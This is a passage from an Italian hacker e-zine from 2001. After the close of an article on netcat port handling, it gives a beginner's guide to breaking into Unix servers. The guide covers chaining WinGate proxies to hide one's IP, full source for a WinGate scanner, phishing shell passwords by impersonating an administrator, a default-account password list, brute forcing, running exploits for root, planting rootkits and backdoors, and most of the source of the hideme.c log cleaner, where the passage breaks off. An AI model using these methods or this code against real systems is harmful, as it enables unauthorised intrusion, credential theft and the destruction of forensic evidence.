| sprintf (portpoop->anum, "%d", x); /* always load any numeric specs! */ |
| portpoop->num = (x & 0xffff); /* ushort, remember... */ |
| return (portpoop->num); |
|} |
| |
|[snip] |
| |
|riempie il campo num della struttura portpoop con il valore di x trovato 'and' |
|0xffff e guardate il commento che mette..."la porta e' un USHORT, ricordate?" |
|;) e poi ritorna il numero calcolato al chiamante. Ecco scoperto il tremendo |
|algoritmo per il calcolo della porta a partire da una stringa di testo, atoi() |
|and 0xffff, tutto qui, quindi ancora una volta...non si possono mettere porte |
|come la "-23" o come la "999999" bisognerebbe riscrivere da capo tutto il |
|protocollo tcp/ip :P, e comunque il netcat effettua tutto questo senza avvisare|
|nessuno se non si mette l'opzione "-vv" . Altra cosa giusto per finire la IANA |
|ha standardizzato non i numeri di porta,ma i servizi ad essa associati, in modo|
|che su qualsiasi server ci si connetta, una porta 23 sia un telnet, una 21 un |
|ftp, e cosi' via per gli altri servizi. Poi che ognuno di noi faccia quel che |
|vuole con le porte.....beh quello e' un altro paio di maniche...:P |
|Con questo e' tutto, a voi regia...(ma bada te se mi devo far comandare a |
|bacchetta cosi' da themr...vabbe' che e' il mio simbiote, ma tutto ha un |
|limite!!) ;) |
| |
| |
|Grazie Mike, qui regia :PP |
|Beh, tralasciando gli scherzi, MrCode ha commentato benissimo i pezzi di codice|
|del NetCat che ci servivano per capire. Anche da essi abbiamo avuto conferma:le|
|porte NON vann oltre la 65535. TDI si è fatto "abbindolare" da una strana |
|feature del NetCat, che esegue le correzioni, senza però dire nulla a nessuno. |
|Solo con il verbose Mode si riesce a capire la "correzione". Questa cosa |
|oltretutto, la si poteva notare anche in altro modo. Provate con un programma |
|normale (chesso, il vostro client FTP) a connettervi a una porta da 32 bit. |
|vedrete che non ve l'accetta :) |
| |
|Bene, penso di aver finito :) |
| |
|Se volete chiarimenti, dirci che siamo stati bravi, oppure mandarci a quel |
|paese... |
|TheMR : the.mr@bigfoot.com |
|MrCode : mr.code@libero.it |
|Oppure ci trovate su sempre Azzurra. Ormai siamo BOT umani :)) |
| |
|Salutazzi ai friend di #crack-it #hackzxtreme #hackmaniaci #chihackerare #rotfl|
|E un "vaffanculo" a quegli schifosi sporchi lurudi ripugnandi lamer del cazzo |
|che continuano a romperci i coglioni e a non lasciarci in pace un momento. |
|Benenetto +b mode, aiutaci :)) |
| |
|Gia che ci sono, vorrei dire una cosetta a quelli che sul forum di PI hanno |
|"commentato" l'articolo di TDI (e anche l'intervista in generale): |
|Se non vi piace OQ, nessuno vi obbliga a leggerla. OQ è una rivista di |
|informazione libera. Se non vi piace cio' che scriviamo, non leggetela. E anche|
|se negli articoli ci sono delle imprecisioni, ricordate che siamo umani anche |
|noi, e che errare e' umano.Se vi sentite onnipotenti e credete di sapere tutto,|
|lo credete e basta. Come disse qualcuno, "il saggio è colui che sa di non |
|sapere". Percui, la prossima volta, siate piu' garbati, e se qualcuno sbaglia, |
|fateglielo notare, non sputtanatelo come se fosse una mosca in un merdaio. |
|Altrimenti la mosca siete voi....anzi, la merda....... |
| |
|Ah, vorrei lasciare una frase che mi ha lasciato MrCode dopo avermi restituito |
|l'articolo: |
|---- |
|PS: passa questo articolo sotto il correttore ortografico, che fra me e te lo |
|abbiamo riempito di stronzate!!!! ahahahahah :)) |
|---- |
| |
|Gli date ragione ?? :) |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #04 - 19/11/2001 |
| HACK UNiX SHELL [D3FU] 0x06/0x23 |
+-------------------------------------------------------------------------------+
| |
| ::w4rn1ng:: |
| |
| Questo mini HOWTO sull'hacking delle shell unix è da considerarsi come un |
| testo |
| informativo/educativo. L'autore non si assume alcuna responsabilità per |
| l'uso |
| inadeguato delle informazioni qui contenute . Insomma se vi sgamano non |
| venite |
| a piangere da me :-P |
| |
| ::1ntr0:: |
| |
| Io NON sono un hacker, credo di essere un newbies e per questo motivo posso |
| aver |
| scritto anche delle bestialità ! :-) pertanto se trovate errori nel testo |
| vi prego |
| di riferirmelo in modo da poterli correggere ! |
| |
| |
| ::c0pr1r3 1l n0str0 ip_4ddr3ss:: |
| |
| A causa dell'enorme quantità di files log presenti nelle macchine unix, |
| nascodere il |
| proprio ip address dai logger diventa un operazione molto ardua. Pertanto è |
| vivamente |
| consigliabile telnettarsi da qualche parte prima di connettersi al target |
| (il server |
| vittima). Nel nostro caso ci vengono in aiuto i WinGates. |
| Telnettandoci alla porta del server su cui gira un WinGate (solitamente la |
| porta 23) |
| possiamo coprire il nostro ip, e hackerare con maggiore tranquillità il |
| server. |
| Naturalmente la concatenazione di due o più WinGate ci può fornire maggiore |
| anonimato, anche se ciò causa un terribile rallentamento di ogni operazione |
| da |
| noi svolta, perchè i comandi devono rimbalzare da più server. |
| Pertanto è meglio non concatenare un elevato numero di WinGates (spesso si |
| consiglia |
| di concatenare max 3 WinGate ma tutto è relativo). |
| Per aver maggior sicurezza sarebbe meglio far rimbalzare il nostro attacco |
| anche da |
| una o più shells in giro per il mondo. |
| Evitate però le free shell perchè non sono buone per rootare su di una |
| macchina. |
| Trovare i WinGates è un operazione piuttosto facile (potete trovarne con |
| facilità |
| nelle liste pubbliche es. http://www.cyberarmy.com anche se spesso non |
| funzionano). |
| Un altro buon metodo è lo scanning. Scannando infatti un range di ip sulla |
| porta 23 |
| (quella di WinGate di default ) è possibile trovare buoni WinGates, ed il |
| vantaggio |
| è che solo VOI lo sapete (i "WinGate Scanners" li trovate al seguente URL : |
| http://packetstormsecurity.org). Allego di seguito il sorgente di un buon |
| scanner per |
| WinGates : |
| |
| ----------------------8< taglia qui---------------------------------------- |
| |
| |
| /* Yet Another Wingate Scanner (YAWS) Version 0.1 |
| (C) 1999 by tempus fugit, tempusf@gmx.net |
| URL: tf.darpa.org |
| You can freely distribute this stuff, but |
| please let the copyright information intact |
| and don't alter the code. |
| |
| Feel free to send my any comments or suggestions |
| |
| Features: |
| - can read the hosts to check from a file |
| - can scan subnets (class b and c) |
| - has an extra flag to prevent intrusion detection systems from being |
| activated |
| - logs the results |
| - logs successes in an extra file |
| - you can enter the number of subprocesses |
| - you can specify a timeout |
| |
| compile with gcc yaws.c -o yaws |
| |
| */ |
| |
| #include <stdio.h> |
| #include <sys/types.h> |
| #include <sys/socket.h> |
| #include <sys/time.h> |
| #include <time.h> |
| #include <netinet/in.h> |
| #include <arpa/inet.h> |
| #include <sys/wait.h> |
| #include <unistd.h> |
| #include <signal.h> |
| #include <netdb.h> |
| #include <stdlib.h> |
| #include <arpa/inet.h> |
| #include <ctype.h> |
| #include <getopt.h> |
| #include <fcntl.h> |
| |
| #define wgateport 23 |
| |
| void CheckForWingate (char *,int); |
| void init_rand (); |
| void DoLog (char *); |
| void LogSuccess (char *); |
| void usage (); |
| int sock, timeout=5; |
| char *logfile="yaws.log", *suclogfile="yaws.suc", *progname; |
| |
| int main (int argc, char **argv) { |
| static int forked=0; |
| int forks=1, i, pid, dummy, scanned=0, toscan=0, j, k, extra=0, rnumber; |
| char c, network[64]="none", class[]="z", inputfile[64]="", host[100]; |
| FILE *input; |
| typedef char target[100]; |
| target *mytarget; |
| progname=argv[0]; |
| while ((c = getopt (argc, argv, "vef:l:n:c:i:t:s:")) != -1) { |
| switch (c) { |
| case 'f': forks = atoi (optarg); |
| break; |
| case 'e': extra = 1; |
| break; |
| case 'l': logfile = optarg; |
| break; |
| case 'n': strncpy (network, optarg, 64); |
| break; |
| case 'c': strncpy (class, optarg, 1); |
| break; |
| case 'i': strncpy (inputfile, optarg, 64); |
| break; |
| case 't': timeout = atoi (optarg); |
| break; |
| case 's': suclogfile = optarg; |
| break; |
| case 'v': usage (); |
| case '?': usage (); |
| } |
| } |
| |
| if (argc < 2) { |
| fprintf (stderr, "To few argumtens.\n"); |
| usage (); |
| } |
| |
| if (forks < 1) { |
| fprintf (stderr, "To little number of forks.\n"); |
| usage (); |
| } |
| |
| DoLog ("YAWS 1999 by tempus fugit\n\n"); |
| |
| if ((strcmp (network, "none")) && (strcmp (class, "z"))) { |
| if ((!strcmp (class, "b")) && (extra == 0)) |
| for (j=1; j<255; j++) { |
| for (k=1; k<255; k++) { |
| snprintf (host, 100, "%s.%d.%d", network, j, k); |
| if ((pid = fork ()) == 0) { |
| CheckForWingate (host, wgateport); |
| kill(getpid(),9); |
| } |
| if (pid != 0) { |
| forked++; |
| if (forked >= forks) { |
| wait (&dummy); |
| forked--; |
| } |
| } |
| } |
| } |
| } |
| else if ((!strcmp(class, "c")) && (extra == 0)) { |
| for (j=1; j<255; j++) { |
| snprintf (host, 100, "%s.%d", network, j); |
| if ((pid = fork ()) == 0) { |
| CheckForWingate (host, wgateport); |
| kill(getpid(),9); |
| } |
| if (pid != 0) { |
| forked++; |
| if (forked >= forks) { |
| wait (&dummy); |
| forked--; |
| } |
| } |
| |
| } |
| } |
| else if ((!strcmp(class, "b")) && (extra == 1)) { |
| init_rand(); |
| mytarget = malloc ((254*254) * (sizeof (target))); |
| if (mytarget == NULL) { |
| fprintf (stderr, "Cannot allocate memory.\n"); |
| exit (1); |
| } |
| fprintf (stdout, "I am computing the random IPs, this may take a |
| while.\n"); |
| for (j=1; j<255; j++) { |
| for (k=1; k<255; k++) { |
| marke: |
| rnumber = (int) ((254.0*254.0)*rand()/(RAND_MAX+1.0)); |
| if (strlen ((mytarget+rnumber)) > 1) goto marke; |
| snprintf ((mytarget+rnumber), 100, "%s.%d.%d", network, j, k); |
| |
| } |
| } |
| for (j=0; j<=(254*254); j++) { |
| if ((pid = fork ()) == 0) { |
| CheckForWingate ((mytarget+j), wgateport); |
| kill(getpid(),9); |
| } |
| if (pid != 0) { |
| forked++; |
| if (forked >= forks) { |
| wait (&dummy); |
| forked--; |
| } |
| } |
| |
| } |
| } |
| |
| else if ((!strcmp(class, "c")) && (extra == 1)) { |
| init_rand(); |
| mytarget = malloc ((255) * (sizeof (target))); |
| if (mytarget == NULL) { |
| fprintf (stderr, "Cannot allocate memory.\n");
|
| exit (1); |
| } |
| for (j=1; j<255; j++) { |
| marke2: |
| rnumber = 1+(int) ((254.0)*rand()/(RAND_MAX+1.0)); |
| if (strlen ((mytarget+rnumber)) > 1) goto marke2; |
| snprintf ((mytarget+rnumber), 100, "%s.%d", network, j); |
| |
| |
| } |
| for (j=1; j<255; j++) { |
| if ((pid = fork ()) == 0) { |
| CheckForWingate ((mytarget+j), wgateport); |
| kill(getpid(),9); |
| } |
| if (pid != 0) { |
| forked++; |
| if (forked >= forks) { |
| wait (&dummy); |
| forked--; |
| } |
| } |
| } |
| } |
| else |
| { |
| if ((class != "b") && (class != "c")) { |
| printf ("You entered an unknown class or no network.\n"); |
| return 1; |
| } |
| } |
| for (i=1; i <= forked; i++) wait (&dummy); |
| return 0; |
| } |
| |
| input = fopen (inputfile, "r"); |
| if (input == NULL) { |
| fprintf (stderr, "Cannot open input file.\n"); |
| return 1; |
| } |
| |
| while ((fscanf (input, "%s\n", host)) != EOF) { |
| if ((pid = fork ()) == 0) { |
| CheckForWingate (host, wgateport); |
| kill(getpid(),9); |
| } |
| if (pid != 0) { |
| forked++; |
| if (forked >= forks) { |
| wait (&dummy); |
| forked--; |
| } |
| } |
| |
| } |
| fclose (input); |
| for (i=1; i <= forked; i++) wait (&dummy); |
| |
| } |
| |
| void alarm_handler (int sig) { |
| close (sock); |
| return; |
| } |
| |
| void CheckForWingate (char *host, int port) |
| { |
| int ret, conn, sel; |
| char buffer[128], logmsg[1024]; |
| struct sockaddr_in sin; |
| fd_set fd; |
| struct timeval tv; |
| struct hostent *he; |
| |
| if ((strlen (host)) == 0) exit (1); |
| |
| if (!(sock = socket (AF_INET, SOCK_STREAM, 0))) { |
| fprintf (stderr, "Cannot create a socket.\n") |
| exit (1); |
| } |
| |
| if (inet_addr (host) == -1) { |
| if ((he=gethostbyname (host)) == NULL) { |
| snprintf (logmsg, 1024, "The host %s cannot be resolved.\n", host); |
| DoLog (logmsg); |
| return; |
| } |
| memcpy (&sin.sin_addr, he->h_addr,he->h_length); |
| } |
| else if ((sin.sin_addr.s_addr = inet_addr (host)) == -1) { |
| snprintf (logmsg, 1024, "IP %s cannot be identified.\n", host); |
| DoLog (logmsg); |
| return; |
| } |
| sin.sin_family = AF_INET; |
| sin.sin_port = htons (port); |
| signal (SIGALRM, alarm_handler); |
| alarm (timeout); |
| conn = connect (sock, (struct sockaddr*)&sin, sizeof (sin)); |
| if (conn < 0) { |
| snprintf (logmsg, 1024, "Cannot connect to host %s on port %d.\n", host, |
| port); |
| DoLog (logmsg); |
| close (sock); |
| return; |
| } |
| FD_ZERO (&fd); |
| FD_SET (sock, &fd); |
| tv.tv_sec = timeout; |
| tv.tv_usec = 0; |
| sel = select (sock+1, &fd, NULL, NULL, &tv); |
| if (sel > 0) { |
| if ((ret = recv (sock, buffer, 128, 0)) > 0) { |
| if (!strcmp (buffer, "WinGate>")) { |
| snprintf (logmsg, 1024, "Host %s is a wingate.\n", host); |
| DoLog (logmsg); |
| LogSuccess (logmsg); |
| } |
| else { |
| snprintf (logmsg, 1024, "Host %s is no wingate.\n", host); |
| DoLog (logmsg); |
| } |
| } |
| |
| } |
| if (!sel) { |
| snprintf (logmsg, 1024, "Host %s time out by search.\n", host); |
| DoLog (logmsg); |
| } |
| if (sel == -1) { |
| fprintf (stderr, "Select Error.\n"); |
| exit (1); |
| } |
| close (sock); |
| return; |
| } |
| |
| void init_rand() { |
| int fd; |
| unsigned n; |
| fd = open("/dev/random", O_RDONLY); |
| read(fd, &n, sizeof(n)); |
| close(fd); |
| srand(n); |
| } |
| |
| void DoLog (char *message) { |
| FILE *file; |
| file = fopen (logfile, "a"); |
| if (file == NULL) { |
| fprintf (stderr, "File Error.\n"); |
| exit (1); |
| } |
| fprintf (file,"%s", message); |
| fclose (file); |
| } |
| |
| void LogSuccess (char *message) { |
| FILE *file; |
| file = fopen (suclogfile, "a"); |
| if (file == NULL) { |
| fprintf (stderr, "File Error.\n"); |
| exit (1); |
| } |
| fprintf (file, "** SUCCESS: ** "); |
| fprintf (file, "%s", message); |
| fclose (file); |
| } |
| |
| void usage () { |
| printf ("[YAWS] Yet Another Wingate Scanner Version 0.1 1999 by tempus |
| fugit\n"); |
| printf ("mail: tempusf@gmx.net\n"); |
| printf ("URL: http://tf.darpa.org\n\n"); |
| printf ("Usage: %s -v -l <logfile> -f <forks> -t <timeout> -n <network> -c |
| <network-class> -i <input file> -s <success-logfile>\n", progname); |
| printf ("\tlogfile: the name of the file where the scanning results are |
| stored.\n"); |
| printf ("\tforks : the number of forks the program is allowed to |
| create.\n"); |
| printf ("\ttimeout: timeout of search-process in seconds.\n"); |
| printf ("\tnetwork: you can enter network that will be checked for |
| wingates.\n"); |
| printf ("\tnetwork: can be <X.X> or <X.X.X> if class is\n"); |
| printf ("\t b or c\n"); |
| printf ("\tinput-file: you can specify an input-file from which the hosts |
| to checked are extraced.\n"); |
| printf ("\tsuccess-logfile: success messages are written in this file.\n"); |
| printf ("\tif you choose an input-file, the network and class options are |
| ignored.\n"); |
| printf ("Example: %s -l mylogs -n 200.10 -c b -s wow\n", progname); |
| exit (0); |
| } |
| |
| ----------------------8< taglia qui----------------------------------------- |
| |
| |
| |
| Il discorso delle shells è MOLTO piu complicato ! La shell di cui abbiamo |
| bisogno non |
| è una shell con accesso root (se no cosa buchiamo a fare :-P ) ma bensì una |
| normale |
| (non free-shell ricordate) da usare come bouncer per il nostro attacco. |
| Spesso sui |
| manuali di hacking si consiglia di barattare le shell in chat (irc in |
| particolare) sui |
| canali di hacking. |
| Personalmente ritengo che una persona alle prime armi non abbia da |
| barattare NESSUNA |
| shell (anzi la sta cercando !!!) quindi possiamo ricorrere a trucchetti |
| semplici |
| semplici per recuperarne una : |
| |
| 1) Social Enginering : inviando una mail falsa (attenzione anche qui usate |
| WinGates |
| e/o free-shell prima di connettervi al server SMTP!) |
| al possessore |
| di un shell, possiamo fingerci l'amministratore del |
| server |
| e farci inviare la password del suo account per |
| neccessità di |
| backup (vi rimando all'articolo di LordShinva sul |
| Social Enginering). |
| |
| 2) Default Accounts : Bisogna saper che per i sistemi come linux esistono |
| degli |
| account di "defalt" che l'attacker può usare per |
| accedere al |
| sistema ed avere una shell (si puo anche utilizzare |
| un exploit |
| per scalare i privilegi sfruttando le vulnerabilità |
| dei demoni |
| che girano sul server) |
| Ecco di seguito un elenco degli account di default : |
| user passwd |
| sys sys, system, manager, nomedelsistema, vedi |
| root |
| daemon daemon, background, none |
| uucp uucp, vedi guest |
| tty tty |
| test test |
| unix unix, test |
| bin bin, system, vedi root |
| adm adm, admin, sys, vedi root |
| admin adm, admin |
| sysman sysman, sys, system |
| sysadmin sysadmin, sys, system, admin, adm |
| who who, none |
| learn learn |
| uuhost uuhost |
| guest guest, user, anonymous, visitor, bbs,(nome |
| del |
| sistema o dell'organizzazione) |
| host host |
| nuucp nuucp, vedi uucp |
| rje rje, none, vedi root |
| games games, player |
| sysop sysop |
| demo demo, nomedelsistema, none |
| visitor vedi guest |
| anonymous vedi guest |
| anon vedi guest |
| user vedi guest |
| nomedelsistema vedi guest |
| student student, vedi guest |
| ftp ftp, ftpuser, vedi guest |
| ftpuser vedi ftp |
| xxcp xenix |
| system manager |
| nobody nobody, none |
| field service |
| archie archie, none |
| qarchie qarchie, none |
| whois whois, none |
| bbs nomedelsistema, bbs, waffle, none |
| services nomedelsistema, services, none |
| info nomedelsistema, info, none |
| new nomedelsistema, new, none |
| newuser nomedelsistema, newuser, none |
| ingres none, ingres, nomedelsistema |
| date date, none |
| lpq lpq, none |
| time time, none |
| weather weather, forecast, none |
| forcast vedi weather |
| help help, none |
| test nomedelsistema, test, none |
| waffle vedi bbs |
| trouble trouble, vedi root |
| lp lp, printer, print, vedi root |
| unmountsys unmountsys, unmount, vedi root |
| setup setup, vedi root |
| makefsys makefsys, vedi root |
| |
| Provare manualmente tutte queste passwd è una |
| rottura ... automatizziamo |
| il tutto con qualche bel programmino : |
| - Brutus (http://www.hobbie.net/brutus) |
| - TeeNet (http://phenoelit.de/tn) |
| - cerca su packetstorm "pop.c" e "brutus_web.c" |
| |
| 3) /etc/passwd : Con un pò di fortuna (be MOOLTA fortuna) è possibile |
| accedere |
| al file delle password via web, e se non è shadowato |
| ... be scaldate |
| il vostro John The Ripper !!! ;-) [in ogni caso |
| avresti un elenco |
| completo degli utenti di quel server, vedi anche |
| sotto...] |
| |
| 4) "Joe Account" : Sempre per quanto riguarda le password facendo un |
| bel fingering |
| di una macchina in un orario in cui è connessa molta |
| gente, possiamo |
| recuperare un bel po' di username. Perchè? perchè |
| spesso gli utenti |
| sono così idioti da utilizzare il loro username |
| anche come password |
| (detto anche "Joe Account") quindi ... ah dimeticavo |
| ... spesso |
| questi "esperti" utenti :-) hanno un account del |
| tipo : |
| user : pippo |
| pass : pippo1 |
| [NOTA per il fingering : ricorda di far rimbalzare |
| il finger da un |
| altra macchina. Come? finger @sito.com@target.com |
| ... ] |
| |
| |
| Una volta trovati WinGates e shell, li concateneremo nel seguente modo |
| |
| WinGate_1 --> WinGate_2 --> WinGate_xx ... -> shell(s) |
| |
| A questo punto il tuo ip ( quello che dovrai cancellare dai files log una |
| volta ottenuto |
| accesso root) è quello dell'ultima shell (o wingate) che hai concatenato |
| (ovvio :-P). |
| |
| |
| ::th3 t4rg3t:: |
| |
| Per la ricerca del nostro target (il server che vogliamo bucare) abbiamo a |
| nostra |
| disposizione due magnifici siti : |
| 1) www.ipindex.net : una raccolta di tutti gli ip address del mondo divisi |
| per |
| continente e ente/società a cui appartengono. |
| 2) www.netcraft.net : un motore di ricerca molto utile che ci permette non |
| solo |
| di ricercare un infinità di siti, ma anche di trovare |
| info |
| riguardo al sito che vogliamo bucare (es. OS , ecc..) |
| |
| Naturalmente se avete in testa un sito che vi è particolarmente |
| "antipatico" e/o |
| particolarmente "sfigato" be' ... il tutto sarà ancora più divertente !!! |
| |
| |
| |
| ::iNF0 & 3xpl0it:: |
| |
| Un passo fondamentale per la buona riuscita del nostro attacco è lo studio |
| del target. |
| Per prima cosa sarebbe bene fare uno scanning delle porte del server |
| (probabilmente il |
| miglior port scanner in circolazione per linux è NMAP, lo trovi su |
| http://www.insecure.org) |
| e usare alcuni interessanti tool a nostra disposizione, quali finger, |
| nslookup, tracerouter, |
| whois , ecc.. per renderci conto di CHI vogliamo attaccare. |
| Di grande utilità è anche l'utilizzo dell'utility "ping sweep" (la trovate |
| al seguente |
| indirizzo : ftp.tamu.edu/pub/unix/src/ ) che permette di poter studiare la |
| configurazione |
| della rete che andremo ad attakkare. |
| In particolare lo scannning delle porte del server ci aiuterà a capire |
| quali demoni |
| girano sul server . Sfrutteremo di conseguenza i "bug" di questi demoni |
| tramite un |
| exploit per penetrare nel sistema. |
| |
| Individuata il demone che volgiamo bucare ricerchiamo l'exploit in siti di |
| sicurezza |
| come HACK.co.za (http://www.hack.co.za) oppure su PACKETSTORM |
| (http://packetstormsecurity.org). |
| L'exploit va poi posizionato su una delle shell da cui facciamo rimbalzare |
| l'attacco |
| e in fine compilato. |
| Per compilare l'exploit bisogna seguire le info che trovate nel codice |
| sorgente |
| dell'exploit stesso (qui trovate anche info sul suo utilizzo e/o tipo di |
| vulnerabità |
| sfruttata). Vi consiglio di studiare l'exploit che vi accingete ad |
| utilizzare in modo da |
| CAPIRE cosa stiamo effettivamente facendo. |
| Naturalmente prima di bucare il server è bene (se possibile) fare un bel |
| fingering |
| del server vittima per essere sicuri che non vi sia nessun utente connesso |
| alla macchina, |
| in caso contrario è meglio lasciare perdere e tentare in un altro momento. |
| |
| CONSIGLIO : Quando studiate il target connettersi alla porta 37 (time) del |
| server vi mostrerà |
| l'ora del luogo in cui è situato il server, così da collegarsi quando è |
| notte (o mattina presto) |
| in modo che nessun utente (tantomeno il SyS :-) sia connesso alla machiana. |
| |
| |
| ::1Ns1d3 th3 s3rv3r:: |
| |
| Compilato l'exploit, lo eseguiamo, e se tutto va bene otterremo l'accesso |
| root sulla macchina. |
| Appena ci compare il magnifico "#" verifichiamo per prima cosa di essere |
| realmente root nella |
| nostra nuova macchina :-D con il comando "id" (oppure con il comando |
| "whoami"). |
| Se otteniamo una risposta del tipo "uid=0(root)" stiamo rootando su quella |
| macchina ! [complimenti!] |
| Ora dobbiamo essere sicuri di essere soli nella macchiana quindi |
| utilizziamo il comando |
| "w" oppure "who" (soprattutto se non ci è stato possibile fare un fingering |
| alla macchiana |
| in precedenza). |
| Ora dobbiamo cancellare il nostro ip dai file log quindi dobbiamo uplodare |
| un bel cleaner ed |
| eventualmente un bel rootkit per modificare /bin e /sbin ed inserire |
| backdoor. |
| Uplodando i file nel sever tramite ftp, saremo loggati dal un bel figlio di |
| puttana chiamato "Xferlog", |
| un file log che registra ogni trasferimento di files in/out tramite ftp, |
| quindi dobbiamo uplodare |
| i nostri bei files con dei trucchetti che andremo ad illustrare : |
| Il primo metodo consiste nel fare un bel copia/incolla del testo contenuto |
| nei file *.c |
| che volgiamo uplodare, e di aprire da remoto sulla macchina bucata un text |
| editor (esempio |
| vi) e dopo di che, incollare il testo tramite la combinzione di tasti SHIFT |
| + INS |
| (l'equivalente di incolla da shell, il copia e CTRL + INS ). |
| Il secondo metodo ci permette di copiare un file dal nostro computer dal |
| desktop con |
| un semplice copy , e "di incollarlo" nel server remoto digitando da shell : |
| |
| [copia il file con "copia"] |
| # cat << EOF > file.c |
| |
| digita EOF : |
| |
| > EOF |
| |
| Il file è copiato sul computer remoto ! |
| In questo modo possiamo compiare non solo file testo ma qualsiasi file che |
| ci possa |
| essere utile sul server. (quindi rootkit, cleaner, index.html <- :-))) ecc |
| ...) |
| |
| NOTA: nonstante tutto possiamo uplodare i nostri files sul server tramite |
| ftp, perchè |
| i metodi descritti risultano molto lunghi se si decide di installare |
| corposi rootkit |
| sulla macchina :-) . Per questo usiamo comunque ftp ma ricordiamoci di |
| greppare xferlog |
| alla ricerca del nostro hostname/ip, e inoltre di controllare il log |
| "secure" in /etc/log |
| inquanto per default riporta le stesse identificazioni relative ai |
| trasferimenti che |
| compaiono anche su xferlog (controlla anche la directory /etc/ftp* per |
| trovare che tipo |
| di setup c'è nella box hackerata). |
| |
| |
| ::th3 L0gs f1L3:: |
| |
| Ora viene il bello dell'impresa. Da questo momento sarà solo la nostra |
| abilità che ci |
| permetterà di non farci beccare dal Sys e di mantenere l'accesso alla |
| macchina il più a |
| lungo possibile ... facciamo un pò di pulizia :-D ... |
| I log piu bastardi di un sistema unix/unix-like sono situati nelle seguenti |
| directory : |
| |
| /etc/log (default) |
| /tmp/log - /temp/var/log |
| /var/run (qui trovate anche i *.pid dei demoni che girano sulla macchina) |
| /var/log - /var/adm |
| /usr/log - /usr/adm/log |
| |
| I log piu comuni possono essere cancellati tramite cleaner quali zap o |
| hideme. |
| Qui sotto riporto il programma hideme.c scritto da FuSys di BFI. |
| (vi rimando al suo articolo su BFI per maggiori info sui log di unix) |
| |
| ----------------------8< taglia qui----------------------------------------- |
| |
| |
| /* |
| HideMe.c Cleans Utmp, Wtmp, LastLog, Messages, XferLog, Secure, |
| MailLog. Please check your brain connection before using |
| since it does NO timestamp or CRC checking. Yet. ;) |
| Usage: hideme <user> <host> <IP> |
| P.S. check all logs dirs and edit this source accordingly. |
| */ |
| |
| /************************************************************************ |
| * Written by fusys no (C)1998 * |
| * Yes. I coded this. No. I didn't leave this in your system. * |
| * Go check your local nasty user or cracker. * |
| * For Informative and Non-Profit Fun only. * |
| * I was not the first. I won't be the last. AMEN to that. * |
| * YES. It seems today I don't have anything better to do. Go figure. ;) * |
| ************************************************************************/ |
| |
| #include <fcntl.h> /* as coder@reptile said: */ |
| #include <utmp.h> /* includes, what would we do */ |
| #include <sys/types.h> /* without them ?! */ |
| #include <unistd.h> |
| #include <lastlog.h> |
| #include <stdio.h> |
| #include <pwd.h> |
| |
| #define UTMP "/var/run/utmp" /* Understand ?! */ |
| #define WTMP "/var/log/wtmp" /* If not, RTFM ... */ |
| #define LASTLOG "/var/log/lastlog" /* Still in the myst ? */ |
| #define MESSAGES "/var/log/messages" /* Please RTFMA ... */ |
| #define SECURE "/var/log/secure" /* What now ?!!? */ |
| #define XFERLOG "/var/log/xferlog" /* Ok I got it for ya: */ |
| #define MAILLOG "/var/log/maillog" /* Consider using W95 ! */ |
| #define MAXBUFF 8*1024 |
| |
| int main (int argc, char *argv[]) |
| { |
| struct utmp ut ; /* (C)1998 PNN */ |
| struct lastlog ll ; /* Pretty New Names */ |
| struct passwd *pass ; |
| int i, size, fin, fout ; |
| FILE *lin ; |
| FILE *lout ; |
| char *varlogs[] = {MESSAGES, SECURE, XFERLOG, MAILLOG} ; |
| char *newlogs[] = {"messages.hm", "secure.hm", "xferlog.hm", |
| "maillog.hm"} ; |
| char buffer[MAXBUFF] ; |
| |
| char ninja[10] ; /* better isn't it ?! */ |
| char zaibatsu[100] ; /* oh ... shut up ! :) */ |
| char zaibatsu_ip[17] ; |
| |
| if (argc!=4) { |
| fprintf(stderr, "\nHideMe\n") ; |
| fprintf(stderr, "Usage: %s <user> <host> <IP>\n\n", argv[0]) |
| ; |
| exit () ; |
| } |
| |
| /*************************** |
| * OK Let's start with UTMP * |
| ***************************/ |
| size = sizeof(ut) ; |
| strcpy (ninja, argv[1]) ; |
| fin = open (UTMP, O_RDWR) ; |
| if (fin < 0) { |
| fprintf(stderr, "\nUh ? utmp target not locked. Getting |
| outta here.\n") ; |
| close (fin) ; |
| exit () ; |
| } |
| else { |
| while (read (fin, &ut, size) == size) { |
| if (!strncmp(ut.ut_user, ninja, strlen(ninja))) { |
| memset(&ut, 0, size) ; |
| lseek(fin, -1*size, SEEK_CUR) ; |
| write (fin, &ut, size) ; |
| } |
| } |
| close (fin) ; |
| printf("\nutmp target processed.") ; |
| } |
| |
| /*************************** |
| * OK Let's go on with WTMP * |
| ***************************/ |
| strcpy (zaibatsu, argv[2]) ; |
| strcpy(zaibatsu_ip, argv[3]) ; |
| |
| fin = open(WTMP, O_RDONLY) ; |
| if (fin < 0) { |
| fprintf(stderr, "\nUh? wtmp target not locked. Getting outta |
| here.\n") ; |
| close (fin) ; |
| exit () ; |
| } |
| fout = open("wtmp.hm", O_WRONLY|O_CREAT) ; |
| if (fout < 0) { |
| fprintf(stderr, "\nDamn! Problems targeting wtmp. Getting |
| outta here.\n") ; |
| close (fout) ; |
| exit () ; |
| } |
| else { |
| while (read (fin, &ut, size) == size) { |
| if ( (!strcmp(ut.ut_user, ninja)) || |
| (!strncmp(ut.ut_host, zaibatsu, strlen(zaibatsu))) ) { |
| /* let it go into oblivion */ ; |
| } |
| else write (fout, &ut, size) ; |
| } |
| close (fin) ; |
| close (fout) ; |
| if ((system("/bin/mv wtmp.hm /var/log/wtmp") < 0) && |
| (system("/bin/mv wtmp.hm /var/log/wtmp") == 127)) { |
| fprintf(stderr, "\nAch. Couldn't replace %s .", |
| WTMP) ; |
| } |
| system("/bin/chmod 644 /var/log/wtmp") ; |
| printf("\nwtmp target processed.") ; |
| } |
| |
| /*************************** |
| * OK Let's look at LASTLOG * |
| ***************************/ |
| size = sizeof(ll) ; |
| fin = open(LASTLOG, O_RDWR) ; |
| if (fin < 0) { |
| fprintf(stderr, "\nUh? lastlog target not locked. Getting |
| outta here.\n") ; |
| close (fin) ; |
| exit () ; |
| } |
| else { |
| pass = getpwnam(ninja) ; |
| lseek(fin, size*pass->pw_uid, SEEK_SET) ; |
| read(fin, &ll, size) ; |
| ll.ll_time = 0 ; |
| strncpy (ll.ll_line, " ", 5) ; |
| strcpy (ll.ll_host, " ") ; |
| lseek(fin, size*pass->pw_uid, SEEK_SET) ; |
| write(fin, &ll, size) ; |
| close (fin) ; |
| printf("\nlastlog target processed.\n") ; |
| } |
| |
| /*************************** |
